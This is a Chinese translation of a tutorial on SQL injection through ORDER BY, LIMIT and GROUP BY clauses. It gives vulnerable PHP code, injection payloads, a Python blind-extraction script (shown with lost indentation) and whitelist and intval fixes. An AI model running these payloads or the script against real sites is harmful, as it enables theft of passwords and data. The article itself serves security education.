非常见SQL注入漏洞及利用 Unusual SQL injection vulnerabilities and how to exploit them

by By ogdan Calin

    在本篇文章中,我会谈到一些不常见的SQL注入漏洞,并且说明如何利用这些漏洞。

    和最近所报道的一些典型的SQL注入不同,在这种形式的注入漏洞中,攻击者可以控制SQL语句中的 ORDER BY,LIMIT或者GROUP BY 子句。

    本篇文章中所有的示例都采用MySql做为终端数据库,这些技巧也可以用到其他数据库中。

 

 

    当提到当今最常见的SQL注入漏洞时,漏洞利用者采用的最典型的方法就是操纵SQL语法里的where子句。通常来说,SQL查询语句看起来像:

 

                 SELECT fieldlist FROM table  

 

                                  WHERE field   =  '<part_controlled_by_user>';

    如果程序没有合理的过滤用户输入,这种代码就是可注入的。攻击者需要决定'fieldlist'列的范围,并且构造一个 UNION SELECT SQL查询来获取数据库中额外的数。最终的查询看起来类似于:

                SELECT fieldlist  FROM table

 

                       WHERE field = 'INVALID_VALUE' UNION SELECT VERSION()

 

    由于条件不成立,查询语句的前半部分将不会返回任何结果。因此,这条查询只返回后半部分的查询结果,也就是MySQL 数据库的版本。但在本篇文章中,我们将不重点关这种类型的SQL 注入,因为近几年来这种技术已经被广泛的描述了。

    在这片文章中我们将看到的第一个非常见SQL注入漏洞是对ORDER BY子句的注入。 最近在审核一个流行的PHP Web应用时,我遇到了这种类型的注入并且做了一些研究以发现如何利用它。来看下面的例子:

 

在上面的例子中我们可以看到,用户可以控制最终结果的显示。通过操作GET变量“order_by”,用户可以显示不同的结果。比如,通过URL请求 '/orderby.php?order_by=name',结果将会是:
1 - admin - Clear Rivers - admin@email.com
3 - John - John Smith - john@email.com
2 - Mary - Mary Smith - mary@email.com
5 - Adrian - Popescu Adrian -adrian@gmail.com


 如果请求是'/orderby.php?order_by=email',则将导致和上面不同的顺序:

1 - admin - Clear Rivers - admin@email.com
5 - Adrian - Popescu Adrian -adrian@gmail.com

3 - John - John Smith - john@email.com
2 - Mary - Mary Smith - mary@email.com

 

在前边的示例代码中,开发者想利用'mysql_escape_string'来过滤用户输入。然而,这种保护并不起作用,因为用户输入并没有被引号括起来。因此,这片代码是有漏洞可以注入的。既然本例中我们不可以用UNION SELTCT,那么该如何利用这个漏洞那?一个类似于“SELECT *  FROM users ORDER BY name union select version()”的查询将返回以下的错误信息:

"Incorrect usage of UNION and ORDER BY".

 

利用的思路是显示的数据根据不同的布尔条件,其顺序不同。SQL查询的语法为:

SELECT * FROM users ORDER BY (case when ({boolean_condition}) then name else email end)

因此 在这个例子中SQL查询语句为:

SELECT * FROM users ORDER BY (case when (1=1) then name else email end)

在这种情况下,条件(1=1)为真,所以结果将会按name排序,为1,3,2,5。而在'SELECT * FROM users ORDER BY (case when (1=0) then name else email end)’中,条件不成立,因此结果会按email排序,返回1,5,3,2。

 

    通过使用这些布尔条件,我们可以获取到数据库中我们想得到的任何信息,只是一次能获取的信息量很少。比如说我们想要获取管理员的密码,我们可以构造以下的查询:

    SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&1>0) then name else email end)

如果条件为真,即密码的第一个字符的最低位为1,结果将会按照name排序, 否则,即最低位为0,数据按照email排序。为获取第一字节的第二位,我们可以采用以下的查询:

SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&2>0) then name else email end)

一次类推,便可以获取整个密码。这个例子也说明,想要手工获取想要的信息是一个很漫长的过程,因此这个过程需要能够自动完成。我已经编写了一个小的Python脚本,能够用上面所描述的技术获取到数据库中任意想要的信息。

 

 

以下是脚本的源码:

# ORDER BY data extractor (bogdan [at] acunetix.com)
import httplib, urllib, sys, string
from string import replace
# various configuration parameters
HOSTNAME = "bld01"
PORT = "80"
URL = "/insecuremag/orderby.php?order_by="
# the string that is returned when the condition is true
TRUE_STRING = "1 - <b>admin</b> - Clear Rivers - admin@email.com<br> 3 - <b>John</b>"
# function to perform the actual data extraction using boolean queries
def extract_data(extract_data_query):
print "Query: " + extract_data_query
result = ""
# bits array
bits = [1, 2, 4, 8, 16, 32, 64, 128]
char = 1
while (1):
i = 0
value = 0
while (i < 8):
# prepare request
h1 = httplib.HTTPConnection(HOSTNAME, PORT, timeout=20)
params = {}
# http headers
headers = {"Host": HOSTNAME,
"Accept": "*/*",
"User-Agent": "Mozilla/4.0 (Acunetix WVS)"}
# prepare SQL query
query = "(case when (ORD(MID((" + extract_data_query + "),"+ str(char) + ",1))& " + /
str(bits[i]) + " >0) then name else email end)"
# make HTTP request
h1.request("GET", URL + urllib.quote_plus(query), params,headers)
try:
r1 = h1.getresponse()
except:
print "error ..."
sys.exit()
# check HTTP status code (we are looking for a 200 response)
if r1.status <> 200:
print "invalid status code: " + str(r1.status)
sys.exit()
# good status code, move on ...
data = r1.read()
# determine bit value based on data, search true string
if string.find(data, TRUE_STRING) != -1:
print "1",
value = value + bits[i]
else:
print "0",
h1.close()
# move to the next bit
i = i + 1
# game over?
if value == 0:
print " DONE"
return result
else:
print " => " + str(value) + " => '" + chr(value) + "'"
# save the current char, move on to the next one
result = result + chr(value)
char = char + 1
# main function
def main():
# check for input params
if len(sys.argv)<=1:
print "usage orderby.py SQL_QUERY_TO_EXTRACT_DATA"
sys.exit()

query = sys.argv[1]
print "[*] ORDER BY data extractor (bogdan [at] acunetix.com) [*]"
print ""
# extract the data
data = extract_data(query)
print ""
print "result => " + data
if __name__ == '__main__':
main()

 

如何来阻止这个漏洞那?一个解决方法是使用一个可用列表来描述可能的输入,以"order_by"为例:

$possible_values = array("name", "email", "id", "username");
if (!in_array(strtolower($_GET["order_by"]), $possible_values)) {
die("invalid value!");
}
$order_by = strtolower($_GET["order_by"]);

 

 

 

LIMIT子句的注入

 

让我们来看看下面的代码:

<?php
include 'db.php';
if (isset($_GET["limit"]))
$limit = mysql_escape_string($_GET["limit"]);
else
$limit = '3';
$result = mysql_query("SELECT * FROM users LIMIT $limit");
while( $row = mysql_fetch_array($result) ){
echo "<b>".$row["username"]."</b> - ";
echo " ".$row["name"]." - ";
echo " ".$row["email"];
echo "<br>";
}
?>

 

这段代码也有漏洞,但这次是在LIMIT子句。然而,利用这个漏洞没有上述的那么复杂,我们可以用UNION SELECT. 通过请求URL:/insecuremag/limit.php?limit=2+union+select+1,2,version(),4,5,6,7,8 SQL语句变成:

select * from users limit 2 union select 1,2,version(),4,5,6,7,8

之后我们会看到以下结果:

admin - Clear Rivers - admin@email.com
Mary - Mary Smith - mary@email.com
2 - 5.0.67-0ubuntu6 - 4

 

因此,当你能控制LIMIT子句时,从数据库中窃取信息是非常容易的。为了防止这种攻击,你最好审查"limit"变量。用$limit = intval($_GET["limit"])来代替$limit = mysql_escape_string($_GET["limit"]) 以确保变量值为数字。

 

GROUP BY子句的注入

这种情况和LIMIT的情况是相同的,你可以使用UNION SELECT来获取数据。比如,一下语句在MySQL里很有效果:

select * from users group by id union select 1,2,version(),4,5,6,7,8

其预防方法和ORDER BY子句式一样的,你需要一个可允许输入的列表。

 

总结

"mysql_escape_string"并不是万能的,也存在着一些鞭长莫及的情况。在上面描述的例子中,用户的输入并没有在引号中括起来,mysql_escape_string并不起作用。在这些情况下,你需要手动的确认用户输入,并决定哪些是允许的,哪些是不允许的。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值